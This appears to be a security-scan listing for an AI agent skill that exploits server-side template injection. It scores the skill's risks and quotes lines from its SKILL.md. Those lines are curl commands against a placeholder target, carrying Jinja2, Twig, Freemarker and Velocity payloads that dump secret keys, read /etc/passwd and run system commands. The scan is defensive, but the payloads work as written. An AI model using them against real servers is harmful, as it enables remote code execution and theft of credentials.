← All skills
exploiting-template-injection-vulnerabilities
77 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By plurigrid/asi (GitHub) · coding · 72 stars · scanned at commit 293ce9f
Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 9 places.
Show 6 more
Sends data to these websites: target.example.com
The author does not mention this.
Found in 28 places.
Show 17 more
- plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 91
curl -s "https://target.example.com/page?name=\${.now}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 95
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 99
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 103
curl -s "https://target.example.com/page?name={{%27test%27.class}}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 116
curl -s "https://target.example.com/page?name={{config.items()}}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 119
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 123
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 127
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 131
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 135
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 139
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 149
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 150
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 153
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 157
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 160
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}" - plugins/asi/skills/exploiting-template-injection-vulnerabilities/SKILL.md, line 164
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,
and 8 more places
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ] || [ -L ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ]; then echo 'A skill folder named exploiting-template-injection-vulnerabilities already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/plurigrid/asi' "$d" && git -C "$d" checkout --quiet '293ce9f76e3abcd5ba18db284688bc0d9ac6691d' -- 'plugins/asi/skills/exploiting-template-injection-vulnerabilities' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/asi/skills/exploiting-template-injection-vulnerabilities' ~/.agents/skills/'exploiting-template-injection-vulnerabilities' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploiting-template-injection-vulnerabilities' ~/.claude/skills/'exploiting-template-injection-vulnerabilities' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for plurigrid/asi shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/plurigrid/asi/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 293ce9f | 77 |